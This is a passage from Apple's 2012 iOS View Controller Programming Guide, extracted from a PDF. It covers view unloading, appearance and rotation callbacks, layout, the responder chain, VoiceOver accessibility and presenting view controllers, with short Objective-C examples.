call super at some point in your implementation to ensure that the default implementation runs. On iOS
5 and earlier, the default implementation attempts to release the view. On iOS 6 and later, the default
implementation exits.
3. If the view cannot be safely released (for example, it is visible onscreen), the default implementation exits.
4. The view controller calls its viewWillUnload method. A subclass typically overrides this method when
it needs to save any view properties before the views are destroyed.
5. It sets its view property to nil.
6. The view controller callsits viewDidUnload method. A subclasstypically overridesthis method to release
any strong references it has to those views.
Resource Management in View Controllers
Managing Memory Efficiently
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
64Figure 4-3 shows a visual representation of the unload cycle for a view controller.
Figure 4-3 Unloading a view from memory
Resource Management in View Controllers
Managing Memory Efficiently
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
65When the visibility of a view controller’s view changes, the view controller callssome built-in methodsto notify
subclasses of the changes. You can override these methodsto override how yoursubclassreactsto the change.
For example, you can use these notifications to change the color and orientation of the status bar so that it
matches the presentation style of the view that is about to be displayed.
Responding When a View Appears
Figure 5-1 shows the sequence of events that occurs when a view controller’s view is added to a window’s
view hierarchy. The viewWillAppear: and viewDidAppear: methods give subclasses a chance to perform
any additional actions related to the appearance of the view.
Figure 5-1 Responding to the appearance of a view
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
66
Responding to Display-Related NotificationsResponding When a View Disappears
Figure 5-2 shows the sequence of events that occurs when a view is removed from its window. When the view
controller detects that its view is about to be removed or hidden, it calls the viewWillDisappear: and
viewDidDisappear: methods to give subclasses a chance to perform any relevant tasks.
Figure 5-2 Responding to the disappearance of a view
Determining Why a View’s Appearance Changed
Occasionally, it can be useful to know why a view is appearing or disappearing. For example, you might want
to know whether a view appeared because it was just added to a container or whether it appeared because
some other content that obscured it wasremoved. This particular example often appears when using navigation
controllers; your content controller’s view may appear because the view controller was just pushed onto the
navigation stack or it might appear because controllers previously above it were popped from the stack.
The UIViewController class provides methods your view controller can call to determine why the appearance
change occurred. Table 5-1 describes the methods and their usage. These methods can be called from inside
your implementation of the viewWillAppear:, viewDidAppear:, viewWillDisappear: and
viewDidDisappear: methods.
Responding to Display-Related Notifications
Responding When a View Disappears
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
67Table 5-1 Methods to call to determine why a view’s appearance changed
Method Name Usage
You call this method inside your viewWillDisappear: and
viewDidDisappear: methodsto determine if the view controller’s view
is being hidden because the view controller was removed from its
container view controller.
isMovingFromParentViewController
You call this method inside your viewWillAppear: and
viewDidAppear: methods to determine if the view controller’s view is
being shown because the view controller was just added to a container
view controller.
isMovingToParentViewController
You call this method inside your viewWillAppear: and
viewDidAppear: methods to determine if the view controller’s view is
being shown because the view controller was just presented by another
view controller.
isBeingPresented
You call this method inside your viewWillDisappear: and
viewDidDisappear: methodsto determine if the view controller’s view
is being hidden because the view controller was just dismissed.
isBeingDismissed
Responding to Display-Related Notifications
Determining Why a View’s Appearance Changed
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
68A view controller owns its own view and manages the view’s contents. In the process, the view controller also
manages the view’s subviews. But in most cases, the view’s frame is not set directly by the view controller.
Instead, the view’s frame is determined by how the view controller’s view is displayed. More directly, it is
configured by the object used to display it. Other conditions in the app, such as the presence of the status bar,
can also cause the frame to change. Because of this, your view controller should be prepared to adjust the
contents of its view when the view’s frame changes.
A Window Sets the Frame of Its Root View Controller’s View
The view associated with the window’s root view controller gets a frame based on the characteristics of the
window. The frame set by the window can change based on a number of factors:
● The frame of the window
● Whether or not the status bar is visible
● Whether or not the status bar is showing additional transient information (such as when a phone call is
in progress)
● The orientation of the user interface (landscape or portrait)
● The value stored in the root view controller’s wantsFullScreenLayout property
If your app displays the status bar, the view shrinks so that it does not underlap the status bar. After all, if the
status bar is opaque, there is no way to see or interact with the content lying underneath it. However, if your
app displays a translucentstatus bar, you can set the value of your view controller’s wantsFullScreenLayout
property to YES to allow your view to be displayed full screen. The status bar is drawn over the top of the view.
Full screen is useful when you want to maximize the amount of space available for displaying your content.
When displaying content under the status bar, place that content inside a scroll view so that the user can scroll
it out from under the status bar. Being able to scroll your content isimportant because the user cannot interact
with content that is positioned behind the status bar or any other translucent views (such as translucent
navigation bars and toolbars). Navigation bars automatically add a scroll content inset to your scroll view
(assuming it is the root view of your view controller) to account for the height of the navigation bar; otherwise,
you must manually modify the contentInset property of your scroll view.
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
69
Resizing the View Controller’s ViewsA Container Sets the Frames of Its Children’s Views
When a view controller is a child of a container view controller, its parent decides which children are visible.
When it wants to show the view, it adds it as a subview in its own view hierarchy and sets its frame to fit it into
its user interface. For example:
● A tab view controller reserves space at the bottom of its view for the tab bar. It sets the currently visible
child’s view to use the remainder of the space.
● A navigation view controller reserves space at the top for the navigation bar. If the currently visible child
wants a navigation bar to be displayed, it also places a view at the bottom of the screen. The remainder
of its view is given to the child to fill.
A child gets its frame from the parent all the way up to the root view controller, which gets its frame from the
window.
A Presented View Controller Uses a Presentation Context
When a view controller is presented by another view controller, the frame it receivesis based on the presentation
context used to display the view controller. See “Presentation Contexts Provide the Area Covered by the
Presented View Controller” (page 95).
A Popover Controller Sets the Size of the Displayed View
A view controller displayed by a popover controller can determine the size of its view’s area by setting its own
contentSizeForViewInPopover property value to the size it wants. If the popover controller sets its own
popoverContentSize property to a different view size, its size value overrides the view controller’s setting.
To match the model used by other view controllers, use the popover controller’s properties to control its size
and position.
How View Controllers Participate in the View Layout Process
When the size of a view controller’s view changes, its subviews are repositioned to fit the new space available
to them. The views in the controller’s view hierarchy perform most of this work themselves through the use
of layout constraints and autoresizing masks. However, the view controller is also called at various points so
that it can participate in the process. Here’s what happens:
1. The view controller’s view is resized to the new size.
Resizing the View Controller’s Views
A Container Sets the Frames of Its Children’s Views
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
702. If autolayout is not in use, the views are resized according to their autoresizing masks.
3. The view controller’s viewWillLayoutSubviews method is called.
4. The view’s layoutSubviews method is called. If autolayout is used to configure the view hierarchy, it
updates the layout constraints by executing the following steps:
a. The view controller’s updateViewConstraints method is called.
b. The UIViewController class’simplementation of the updateViewConstraints method callsthe
view’s updateConstraints method.
c. After the layout constraints are updated, a new layout is calculated and the views are repositioned.
5. The view controller’s viewDidLayoutSubviews method is called.
Ideally, the views themselves perform all of the necessary work to reposition themselves, without requiring
the view controller to participate in the process at all. Often, you can configure the layout entirely within
Interface Builder. However, if the view controller adds and removes views dynamically, a static layout in Interface
Builder may not be possible. In this case, the view controller is a good place to control the process, because
often the views themselves only have a limited picture of the other views in the scene. Here are the best
approaches to this in your view controller:
● Use layout constraints to automatically position the views (iOS 6 and later). You override
updateViewConstraints to add any necessary layout constraints not already configured by the views.
Your implementation of this method must call [super updateViewConstraints].
For more information on layout constraints, see Cocoa Auto Layout Guide .
● Use a combination of autoresizing masks and code to manually position the views (iOS 5.x). You override
layoutSubviews and use it to reposition any views whose positions cannot be set automatically through
the use of resizing masks.
For more information on the autoresizing properties of views and how they affect the view, see View
Programming Guide for iOS .
Resizing the View Controller’s Views
How View Controllers Participate in the View Layout Process
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
71View controllers are descendants of the UIResponder class and are therefore capable of handling all sorts of
events. When a view does not respond to a given event, it passes that event to its superview, traveling up the
view hierarchy all the way to the root view. However, if any view in the chain is managed by a view controller,
it passes the event to the view controller object before passing it up to the superview. In this way, the view
controller can respond to events that are not handled by its views. If the view controller does not handle the
event, that event moves on to the view’s superview as usual.
The Responder Chain Defines How Events Are Propagated to the
App
Figure 7-1 demonstrates the flow of events within a view hierarchy. Suppose you have a custom view that is
embedded inside a screen-sized generic view object, which in turn is managed by your view controller. Touch
events arriving in your custom view’s frame are delivered to that view for processing. If your view does not
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
72
Using View Controllers in the Responder Chainhandle an event, it is passed along to the parent view. Because the generic view does not handle events, it
passes those events along to its view controller first. If the view controller does not handle the event, the event
isfurther passed along to the superview of the generic UIView object, which in this case isthe window object.
Figure 7-1 Responder chain for view controllers
Note: The message-passing relationship between a view controller and its view is managed privately
by the view controller and cannot be programmatically modified by your app.
Although you might not want to handle touch events specifically in your view controller, you could use it to
handle motion-based events. You might also use it to coordinate the setting and changing of the first responder.
For more information about how events are distributed and handled in iOS apps, see Event Handling Guide for
iOS .
Using View Controllers in the Responder Chain
The Responder Chain Defines How Events Are Propagated to the App
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
73The accelerometers in iOS–based devices make it possible to determine the current orientation of the device.
By default, an app supports both portrait and landscape orientations. When the orientation of an iOS–based
device changes, the system sends out a UIDeviceOrientationDidChangeNotification notification to
let any interested parties know that the change occurred. By default, the UIKit framework listens for this
notification and uses it to update your interface orientation automatically. This means that, with only a few
exceptions, you should not need to handle this notification at all.
When the user interface rotates, the window is resized to match the new orientation. The window adjusts the
frame of its root view controller to match the new size, and this size in turn is propagated down the view
hierarchy to other views. Thus, the simplest way to support multiple orientations in your view controller is to
configure its view hierarchy so that the positions of subviews are updated whenever its root view’s frame
changes. In most cases, you already need this behavior because other conditions may cause the view controller’s
visible area to change. For more information on configuring your view layout,see “Resizing the View Controller’s
Views” (page 69).
If the default behavior is not what you want for your app, you can take control over:
● The orientations supported by your app.
● How a rotation between two orientations is animated onscreen.
View controllers that do not fill the screen usually should not care about the orientation of the user interface.
Instead, fill the area provided by the parent view controller. A root view controller (or a view controller presented
full screen) is more likely to be interested in the orientation of the device.
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
74
Supporting Multiple Interface OrientationsControlling What Interface Orientations Are Supported (iOS 6)
When UIKit receives an orientation notification, it usesthe UIApplication object and the root view controller
to determine whether the new orientation is allowed. If both objects agree that the new orientation issupported,
then the user interface is rotated to the new orientation. Otherwise the device orientation is ignored.
When a view controller is presented over the root view controller, the system behavior changes in two ways.
First, the presented view controller is used instead of the root view controller when determining whether an
orientation is supported. Second, the presented view controller can also provide a preferred orientation. If
the view controller is presented full screen, the user interface is presented in the preferred orientation. The
user is expected to see that the orientation is different from the device orientation and rotate the device. A
preferred orientation is most often used when the content must be presented in the new orientation.
Declaring a View Controller’s Supported Interface Orientations
A view controller that acts as the root view controller of the main window or is presented full screen on the
main window can declare what orientations it supports. It does this by overriding the
supportedInterfaceOrientations method. By default, view controllers on devices that use the iPad
idiom support all four orientations. On devices that use the iPhone idiom, all interface orientations but
upside-down portrait are supported.
You should always choose the orientations your view supports at design time and implement your code with
those orientationsin mind. There is no benefit to choosing which orientations you want to support dynamically
based on runtime information. Even if your app did this, you would still have to implement the necessary code
to support all possible orientations,so you might as well just choose to support the orientation or not up front.
Listing 8-3 shows a fairly typical implementation of the supportedInterfaceOrientations method for a
view controller that supports the portrait orientation and the landscape-left orientation. Your own
implementation of this method should be just as simple.
Listing 8-1 Implementing the supportedInterfaceOrientations method
- (NSUInteger)supportedInterfaceOrientations
{
return UIInterfaceOrientationMaskPortrait |
UIInterfaceOrientationMaskLandscapeLeft;
}
Supporting Multiple Interface Orientations
Controlling What Interface Orientations Are Supported (iOS 6)
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
75Dynamically Controlling Whether Rotation Occurs
Sometimes you may want to dynamically disable automatic rotation. For example, you might do this when
you want to suppress rotation completely for a short period of time. You must temporarily disable orientation
changes you want to manually control the position of the status bar (such as when you call the
setStatusBarOrientation:animated: method).
If you want to temporarily disable automatic rotation, avoid manipulating the orientation masks to do this.
Instead, override the shouldAutorotate method on the topmost view controller. This method is called
before performing any autorotation. If it returns NO, then the rotation is suppressed.
Declaring a Preferred Presentation Orientation
When a view controller is presented full-screen to show its content, sometimes the content appears best when
viewed in a particular orientation in mind. If the content can only be displayed in that orientation, then you
simply return that as the only orientation from your supportedInterfaceOrientations method. If the
view controller supports multiple orientations but appears better in a different orientation, you can provide a
preferred orientation by overriding the preferredInterfaceOrientationForPresentation method.
Listing 8-2 shows an example used by a view controller whose content should be presented in landscape
orientation. The preferred interface orientation must be one of the orientationssupported by the view controller.
Listing 8-2 Implementing the preferredInterfaceOrientationForPresentation method
- (UIInterfaceOrientation)preferredInterfaceOrientationForPresentation
{
return UIInterfaceOrientationLandscapeLeft;
}
For more on presentation, see “Presenting View Controllers from Other View Controllers” (page 88).
Declaring the App’s Supported Interface Orientations
The easiest way to set an app’s app’s supported interface orientations is to edit the project’s Info.plist file.
As in the case of the view controller, you define which of the four interface orientations are permitted. For
more information, see Information Property List Key Reference .
Supporting Multiple Interface Orientations
Controlling What Interface Orientations Are Supported (iOS 6)
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
76If you restrict the app’s supported orientations, then those restrictions apply globally to all of the app’s view
controllers, even when your app uses system view controllers. At any given time, the mask of the topmost
view controller is logically ANDed with the app’s mask to determine what orientations are permitted. The result
of this calculation must never be 0. If it is, the system throws a
UIApplicationInvalidInterfaceOrientationException exception.
Because the app’s mask is applied globally, use it sparingly.
Important: The combination of the app and the view controller’s orientation masks must result in at least
one useable orientation. An exception is thrown if there is no available orientation.
Understanding the Rotation Process (iOS 5 and earlier)
On iOS 5 and earlier, a view controller can sometimes participate in the rotation process even when it isn’t the
topmost full-screen view controller. This generally occurs when a container view controller asks its children
for their supported interface orientations. In practice, the ability for children to override the parents is rarely
useful. With that in mind, you should consider emulating the iOS 6 behavior as much as possible in an app
that must also support iOS 5:
●
In a root view controller or a view controller that is presented full screen, choose a subset of interface
orientations that make sense for your user interface.
●
In a child controller, support all the default resolutions by designing an adaptable view layout.
Declaring the Supported Interface Orientations
To declare your supported interface orientations, override the
shouldAutorotateToInterfaceOrientation:method and indicate which orientations your view supports.
You should always choose the orientations your view supports at design time and implement your code with
those orientationsin mind. There is no benefit to choosing which orientations you want to support dynamically
based on runtime information. Even if you did so, you would still have to implement the necessary code to
support all possible orientations, and so you might as well just choose to support the orientation or not up
front.
Listing 8-3 shows a fairly typical implementation of the shouldAutorotateToInterfaceOrientation:
method for a view controller that supports the default portrait orientation and the landscape-left orientation.
Your own implementation of this method should be just as simple.
Supporting Multiple Interface Orientations
Understanding the Rotation Process (iOS 5 and earlier)
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
77Listing 8-3 Implementing the shouldAutorotateToInterfaceOrientation: method
- (BOOL)shouldAutorotateToInterfaceOrientation:(UIInterfaceOrientation)orientation
{
if ((orientation == UIInterfaceOrientationPortrait) ||
(orientation == UIInterfaceOrientationLandscapeLeft))
return YES;
return NO;
}
Important: You must always return YES for at least one interface orientation.
If your app supports both landscape orientations, you can use the UIInterfaceOrientationIsLandscape
macro as a shortcut, instead of explicitly comparing the orientation parameter against both landscape
constants. The UIKit framework similarly defines a UIInterfaceOrientationIsPortrait macro to identify
both variants of the portrait orientation.
Responding to Orientation Changes in a Visible View Controller
When a rotation occurs, the view controllers play an integral part of the process. Visible view controllers are
notified at various stages of the rotation to give them a chance to perform additional tasks. You might use
these methods to hide or show views, reposition or resize views, or notify other parts of your app about the
orientation change. Because your custom methods are called during the rotation operation, you should avoid
performing any time-consuming operations there. You should also avoid replacing your entire view hierarchy
with a new set of views. There are better ways to provide unique views for different orientations, such as
presenting a new view controller (as described in “Creating an Alternate Landscape Interface” (page 80)).
The rotation methods are sent to the root view controller. The root view controller passes these events on as
necessary to its children, and so on down the view controller hierarchy. Here is the sequence of events that
occur when a rotation is triggered:
1. The window callsthe root view controller’s willRotateToInterfaceOrientation:duration:method.
Container view controllers forward this message on to the currently displayed content view controllers.
You can override this method in your custom content view controllersto hide views or make other changes
to your view layout before the interface is rotated.
Supporting Multiple Interface Orientations
Responding to Orientation Changes in a Visible View Controller
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
782. The window adjusts the bounds of the view controller’s view. This causes the view to layout its subviews,
triggering the view controller’s viewWillLayoutSubviews method. When this method runs, you can
query the app object’s statusBarOrientation property to determine the current user interface layout.
See “How View Controllers Participate in the View Layout Process” (page 70).
3. The view controller’s willAnimateRotationToInterfaceOrientation:duration: method is called.
This method is called from within an animation block so that any property changes you make are animated
at the same time as other animations that comprise the rotation.
4. The animation is executed.
5. The window calls the view controller’s didRotateFromInterfaceOrientation: method.
Container view controllers forward this message to the currently displayed content view controllers. This
action marks the end of the rotation process. You can use this method to show views, change the layout
of views, or make other changes to your app.
Figure 8-1 shows a visual representation of the preceding steps. It also shows how the interface looks at various
stages of the process.
Figure 8-1 Processing an interface rotation
Supporting Multiple Interface Orientations
Responding to Orientation Changes in a Visible View Controller
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
79Rotations May Occur When Your View Controller Is Hidden
If your view controller’s contents are not onscreen when a rotation occurs, then it does not see the list of
rotation messages. For example, consider the following sequence of events:
1. Your view controller presents another view controller’s contents full screen.
2. The user rotates the device so that the user interface orientation changes.
3. Your app dismisses the presented view controller.
In this example, the presenting view controller was not visible when the rotation occurred, so it does not
receive any rotation events. Instead, when it reappears, its views are simply resized and positioned using the
normal view layout process. If your layout code needs to know the current orientation of the device, it can
read the app object’s statusBarOrientation property to determine the current orientation.
Creating an Alternate Landscape Interface
If you want to present the same data differently based on whether a device is in a portrait or landscape
orientation, the way to do so is using two separate view controllers. One view controller should manage the
display of the data in the primary orientation (typically portrait), while the other manages the display of the
data in the alternate orientation. Using two view controllers is simpler and more efficient than making major
changes to your view hierarchy each time the orientation changes. It allows each view controller to focus on
the presentation of data in one orientation and to manage things accordingly. It also eliminates the need to
litter your view controller code with conditional checks for the current orientation.
To support an alternate landscape interface, you must do the following:
●
Implement two view controller objects. One to present a portrait-only interface, and the other to present
a landscape-only interface.
● Register for the UIDeviceOrientationDidChangeNotification notification. In your handler method,
present or dismiss the alternate view controller based on the current device orientation.
Because view controllers normally manage orientation changesinternally, you have to tell each view controller
to display itself in one orientation only. The implementation of the primary view controller then needsto detect
device orientation changes and present the alternate view controller when the appropriate orientation change
occurs. The primary view controller dismisses the alternate view controller when the orientation returns to the
primary orientation.
Supporting Multiple Interface Orientations
Rotations May Occur When Your View Controller Is Hidden
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
80Listing 8-4 showsthe key methods you need to implement in a primary view controller thatsupports a portrait
orientation. When the primary view controller is loaded from the storyboard, it registers to receive
orientation-changed notifications from the shared UIDevice object. When such a notification arrives, the
orientationChanged: method then presents or dismisses the landscape view controller depending on the
current orientation.
Listing 8-4 Presenting the landscape view controller
@implementation PortraitViewController
- (void)awakeFromNib
{
isShowingLandscapeView = NO;
[[UIDevice currentDevice] beginGeneratingDeviceOrientationNotifications];
[[NSNotificationCenter defaultCenter] addObserver:self
selector:@selector(orientationChanged:)
name:UIDeviceOrientationDidChangeNotification
object:nil];
}
- (void)orientationChanged:(NSNotification *)notification
{
UIDeviceOrientation deviceOrientation = [UIDevice currentDevice].orientation;
if (UIDeviceOrientationIsLandscape(deviceOrientation) &&
!isShowingLandscapeView)
{
[self performSegueWithIdentifier:@"DisplayAlternateView" sender:self];
isShowingLandscapeView = YES;
}
else if (UIDeviceOrientationIsPortrait(deviceOrientation) &&
isShowingLandscapeView)
{
[self dismissViewControllerAnimated:YES completion:nil];
isShowingLandscapeView = NO;
}
}
Supporting Multiple Interface Orientations
Creating an Alternate Landscape Interface
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
81Tips for Implementing Your Rotation Code
Depending on the complexity of your views, you may need to write a lot of code to support rotations—or no
code at all. When figuring out what you need to do, you can use the following tips as a guide for writing your
code.
● Disable event delivery temporarily during rotations. Disabling event delivery for your views prevents
unwanted code from executing while an orientation change is in progress.
● Store the visible map region. If your app contains a map view, save the visible map region value prior to
beginning any rotations. When the rotations finish, use the saved value as needed to ensure that the
displayed region is approximately the same as before.
● For complex view hierarchies, replace your views with a snapshot image. If animating large numbers
of views is causing performance issues, temporarily replace those views with an image view containing
an image of the viewsinstead. After the rotations are complete, reinstall your views and remove the image
view.
● Reload the contents of any visible tables after a rotation. Forcing a reload operation when the rotations
are finished ensures that any new table rows exposed are filled appropriately.
● Use rotation notifications to update your app’s state information. If your app usesthe current orientation
to determine how to present content, use the rotation methods of your view controller (or the corresponding
device orientation notifications) to note those changes and make any necessary adjustments.
Supporting Multiple Interface Orientations
Tips for Implementing Your Rotation Code
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
82Aside from managing a view’s behavior, a view controller can also help control an app’s accessibility. An
accessible app is one that can be used by everyone, regardless of disability or physical impairment, while
retaining its functionality and usability as a helpful tool.
To be accessible, an iOS app must supply information about its user interface elements to VoiceOver users.
VoiceOver, a screen-reading technology designed to assist the visually impaired, speaks aloud text, images,
and UI controls displayed the screen, so that people who cannot see can still interact with these elements.
UIKit objects are accessible by default, but there are still things you can do from the view controller’s perspective
to address accessibility. At a high level, this means you should make sure that:
● Every user interface element users can interact with is accessible. Thisincludes elementsthat merely supply
information, such as static text, as well as controls that perform actions.
● All accessible elements supply accurate and helpful information.
In addition to these fundamentals, a view controller can enhance the VoiceOver user’s experience by setting
the position of the VoiceOver focus ring programmatically, responding to special VoiceOver gestures, and
observing accessibility notifications.
Moving the VoiceOver Cursor to a Specific Element
When the layout of a screen changes, the VoiceOver focus ring, also known as the VoiceOver cursor, resets its
position to the first element displayed on the screen from left to right and top to bottom. You might decide
to change the first element the VoiceOver cursor lands on when views are presented onscreen.
For example, when a navigation controller pushes a view controller onto the navigation stack, the VoiceOver
cursor falls on the Back button of the navigation bar. Depending on your app, it might make more sense to
move it to the heading of the navigation bar instead, or to any other element.
To do so, call UIAccessibilityPostNotification using both the notification
UIAccessibilityScreenChangedNotification (which tells VoiceOver that the contents of the screen
has changed) and the element you’d like to give focus to, as shown in Listing 9-1.
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
83
Accessibility from the View Controller’s PerspectiveListing 9-1 Posting an accessibility notification can change the first element read aloud
@implementation MyViewController
- (void)viewDidAppear:(BOOL)animated
{
[super viewDidAppear:animated];
UIAccessibilityPostNotification(UIAccessibilityScreenChangedNotification,
self.myFirstElement);
}
@end
If only the layout changes rather than the contents of the screen, such as when switching from portrait to
landscape mode, use the notification UIAccessibilityLayoutChangedNotification instead of
UIAccessibilityScreenChangedNotification.
Note: Device rotation triggers a layout change, which resets the VoiceOver cursor’s position.
Responding to Special VoiceOver Gestures
There are special gestures that VoiceOver users can perform to trigger custom actions. These gestures are
special because you are allowed to define their behavior, unlike standard VoiceOver gestures. You can detect
the gestures by overriding certain methods in your views or view controllers.
A gesture first checks the view that has VoiceOver focus for instruction and continues up the responder chain
until it finds an implementation of the corresponding VoiceOver gesture method. If no implementation is
found, the system default action for that gesture is triggered. For example, the Magic Tap gesture plays and
pauses music playback from the Music app if no Magic Tap implementation is found from the current view to
the app delegate.
Although you can provide any custom logic you want, VoiceOver users expect the actions of these special
gestures to follow certain guidelines. Like any gesture, your implementation of a VoiceOver gesture should
follow a pattern so that interaction with an accessible app remains intuitive.
There are five special VoiceOver gestures:
● Escape. A two-finger Z-shaped gesture that dismisses a modal dialog, or goes back one level in a navigation
hierarchy.
Accessibility from the View Controller’s Perspective
Responding to Special VoiceOver Gestures
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
84● Magic Tap. A two-finger double-tap that performs the most-intended action.
● Three-Finger Scroll. A three-finger swipe that scrolls content vertically or horizontally.
●
Increment and Decrement. A one-finger swipe up or down that adds or subtracts a given value from an
element with the adjustable trait. Elements with the Adjustable accessibility trait must implement these
methods.
Note: All special VoiceOver gesture methods return a Boolean value that determine whether to
propagate through the responder chain. To halt propagation, return YES; otherwise, return NO.
Escape
If you present a view that overlays content—such as a modal dialog or an alert—you should override the
accessibilityPerformEscape method to dismiss the overlay. The function of the Escape gesture is like
the function of the Esc key on a computer keyboard; it cancels a temporary dialog or sheet to reveal the main
content.
Another use case to override the Escape gesture would be to go back up one level in a navigation hierarchy.
UINavigationController implements this functionality by default. If you’re designing your own kind of
navigation controller, you should set the Escape gesture to traverse up one level of your navigation stack,
because that is the functionality VoiceOver users expect.
Magic Tap
The purpose of the Magic Tap gesture isto quickly perform an often-used or most-intended action. For example,
in the Phone app, it picks up or hangs up a phone call. In the Clock app, it starts and stops the stopwatch. If
you want an action to fire from a gesture regardless of the view the VoiceOver cursor is on, you should implement
the accessibilityPerformMagicTap method in your view controller.
Note: If you’d like the Magic Tap gesture to perform the same action from anywhere within your
app, it is more appropriate to implement the accessibilityPerformMagicTap method in your
app delegate.
Three-Finger Scroll
The accessibilityScroll: method fires when a VoiceOver user performs a three-finger scroll. It accepts
a UIAccessibilityScrollDirection parameter from which you can determine the direction of the scroll.
If you have a custom scrolling view, it may be more appropriate to implement this on the view itself.
Accessibility from the View Controller’s Perspective
Responding to Special VoiceOver Gestures
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
85Increment and Decrement
The accessibilityIncrement and accessibilityDecrement methods are required for elements with
the adjustable trait and should be implemented on the views themselves.
Observing Accessibility Notifications
You can listen for accessibility notifications to trigger callback methods. Under certain circumstances, UIKit
fires accessibility notifications which your app can observe to extend its accessible functionality.
For example, if you listen for the notification UIAccessibilityAnnouncementDidFinishNotification,
you can trigger a method to follow up the completion of VoiceOver’s speech. Apple does this in the iBooks
app. iBooks fires a notification when VoiceOver finishes speaking a line in a book that triggers the next line to
be spoken. If it is the last line on the page, the logic in the callback tells iBooks to turn the page and continue
reading as soon as the last line ends speaking. This allows for a line-by-line degree of granularity for navigating
text while providing a seamless, uninterrupted reading experience.
To register as an observer for accessibility notifications, use the default notification center. Then create a
method with the same name that you provide for the selector argument, as shown in Listing 9-2.
Listing 9-2 Registering as an observer for accessibility notifications
@implementation MyViewController
- (void)viewDidLoad
{
[super viewDidLoad];
[[NSNotificationCenter defaultCenter]
addObserver:self
selector:@selector(didFinishAnnouncement:)
name:UIAccessibilityAnnouncementDidFinishNotification
object:nil];
}
- (void)didFinishAnnouncement:(NSNotification *)dict
{
NSString *valueSpoken = [[dict userInfo]
objectForKey:UIAccessibilityAnnouncementKeyStringValue];
Accessibility from the View Controller’s Perspective
Observing Accessibility Notifications
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
86NSString *wasSuccessful = [[dict userInfo]
objectForKey:UIAccessibilityAnnouncementKeyWasSuccessful];
// ...
}
@end
UIAccessibilityAnnouncementDidFinishNotification expects an NSNotification dictionary as
a parameter from which you can determine the value spoken and whether or not the speaking has completed
uninterrupted. Speaking may become interrupted if the VoiceOver user performs the stop speech gesture or
swipes to another element before the announcement finishes.
Another helpful notification to subscribe to is UIAccessibilityVoiceOverStatusChanged. It can detect
when VoiceOver becomes toggled on or off. If VoiceOver is toggled outside of your app, you receive the
notification when your app is brought back into the foreground. Because
UIAccessibilityVoiceOverStatusChanged doesn’t expect any parameters, the method in your selector
doesn’t need to append a trailing colon (:).
For a full list of possible notifications you can observe, consult“Notifications”in UIAccessibility Protocol Reference .
Remember that you may only observe the notifications that can be posted by UIKit, which are NSString
objects, and not notifications that can be posted by your app, which are of type int.
Accessibility from the View Controller’s Perspective
Observing Accessibility Notifications
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
87The ability to present view controllers is a tool that you have at your disposal for interrupting the current
workflow and displaying a new set of views. Most commonly, an app presents a view controller as a temporary
interruption to obtain important information from the user. However, you can also use presented view controllers
to implement alternate interfaces for your app at specific times.
How View Controllers Present Other View Controllers
A presented view controller is not a specific subclass of UIViewController (as UITabBarController or
UINavigationController is). Instead, any view controller can be presented by your app. However, like tab
bar and navigation controllers, you present view controllers when you want to convey a specific meaning
about the relationship between the previous view hierarchy and the newly presented view hierarchy.
When you present a modal view controller, the system creates a relationship between the view controller that
did the presenting and the view controller that was presented. Specifically, the view controller that did the
presenting updates its presentedViewController property to point to its presented view controller.
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
88
Presenting View Controllers from Other View
ControllersSimilarly, the presented view controller updates its presentingViewController property to point back to
the view controller that presented it. Figure 10-1 showsthe relationship between the view controller managing
the main screen in the Calendar app and the presented view controller used to create new events.
Figure 10-1 Presented views in the Calendar app.
Any view controller object can present a single view controller at a time. This is true even for view controllers
that were themselves presented by another view controller. In other words, you can chain presented view
controllers together, presenting new view controllers on top of other view controllers as needed. Figure 10-2
shows a visual representation of the chaining process and the actions that initiate it. In this case, when the
user taps the icon in the camera view, the app presents a view controller with the user’s photos. Tapping the
action button in the photo library’s toolbar prompts the user for an appropriate action and then presents
Presenting View Controllers from Other View Controllers
How View Controllers Present Other View Controllers
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
89another view controller (the people picker) in response to that action. Selecting a contact (or canceling the
people picker) dismisses that interface and takes the user back to the photo library. Tapping the Done button
then dismisses the photo library and takes the user back to the camera interface.
Figure 10-2 Creating a chain of modal view controllers
Camera
view controller
Photo library
navigation controller
Action sheet
People picker
navigation controller
present
modally
present
modally
Each view controller in a chain of presented view controllers has pointers to the other objects surrounding it
in the chain. In other words, a presented view controller that presents another view controller has valid objects
in both its presentingViewController and presentedViewController properties. You can use these
relationships to trace through the chain of view controllers as needed. For example, if the user cancels the
current operation, you can remove all objects in the chain by dismissing the first presented view controller.
Dismissing a view controller dismisses not only that view controller but also any view controllers it presented.
In Figure 10-2 (page 90), a point worth noting is that the presented view controllers are both navigation
controllers. You can present UINavigationController objects in the same way that you would present a
content view controller.
When presenting a navigation controller, you always present the UINavigationController object itself,
rather than presenting any of the view controllers on its navigation stack. However, individual view controllers
on the navigation stack may present other view controllers, including other navigation controllers. Figure 10-3
Presenting View Controllers from Other View Controllers
How View Controllers Present Other View Controllers
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
90shows more detail of the objects that are involved in the preceding example. As you can see, the people picker
is not presented by the photo library navigation controller but by one of the content view controllers on its
navigation stack.
Figure 10-3 Presenting navigation controllers modally
Presentation Styles for Modal Views
For iPad apps, you can present content using several different styles. In iPhone apps, presented views always
cover the visible portion of the window, but when running on an iPad, view controllers use the value in their
